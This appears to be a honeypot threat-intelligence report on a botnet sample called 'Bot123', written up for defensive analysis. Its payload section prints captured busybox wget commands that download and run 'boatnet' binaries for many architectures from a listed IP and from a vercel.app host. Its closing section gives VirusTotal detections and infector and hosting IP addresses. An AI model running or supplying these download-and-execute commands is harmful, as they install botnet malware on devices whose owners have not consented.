Sample: "Bot123"

1 Overview

- **Source:** Reactive Telescope
- **Date:** 26th March 2025
- **SHA-256:** `3b1be8499ec382dfafbc496a73dea2794f6dd201b3e46a4128c7fcd88e8c17c2`

2 Infection Payload

```
busybox wget http://176.65.144.232/hiddenbin/boatnet.x86; chmod 777 *; ./boatnet.x86 android
busybox wget http://176.65.144.232/hiddenbin/boatnet.spc; chmod 777 *; ./boatnet.spc android
busybox wget http://176.65.144.232/hiddenbin/boatnet.sh4; chmod 777 *; ./boatnet.sh4 android
busybox wget http://176.65.144.232/hiddenbin/boatnet.ppc; chmod 777 *; ./boatnet.ppc android
busybox wget http://176.65.144.232/hiddenbin/boatnet.mpsl; chmod 777 *; ./boatnet.mpsl android
busybox wget http://176.65.144.232/hiddenbin/boatnet.mips; chmod 777 *; ./boatnet.mips android
busybox wget http://176.65.144.232/hiddenbin/boatnet.m68k; chmod 777 *; ./boatnet.m68k android
busybox wget http://176.65.144.232/hiddenbin/boatnet.arm7; chmod 777 *; ./boatnet.arm7 android
busybox wget http://176.65.144.232/hiddenbin/boatnet.arm6; chmod 777 *; ./boatnet.arm6 android
busybox wget http://176.65.144.232/hiddenbin/boatnet.arm5; chmod 777 *; ./boatnet.arm5 android
busybox wget http://176.65.144.232/hiddenbin/boatnet.arm4; chmod 777 *; ./boatnet.arm4 android
busybox wget http://176.65.144.232/hiddenbin/boatnet.arm; chmod 777 *; ./boatnet.arm android
busybox wget http://176.65.144.232/hiddenbin/boatnet.arc; chmod 777 *; ./boatnet.arc android

busybox wget http://botsz123.vercel.app/bot123; chmod 777 ; ./bot123 andriod
```

3 External Matches

Checking the sample on VirusTotal shows that 23/42 vendors consider this file to be malicious, this is a good starting point to check the signatures that got caught and to read up on them as well. Check the VirusTotal report here.

Feel free to look up the sample on other sites as per your preferences. The infector IP (the IP address that sent us this exploit) is `87.121.84.185`. Other malware hosting servers (servers that the files are on) associated with this infection are `176.65.144.232` and `45.11.229.181`.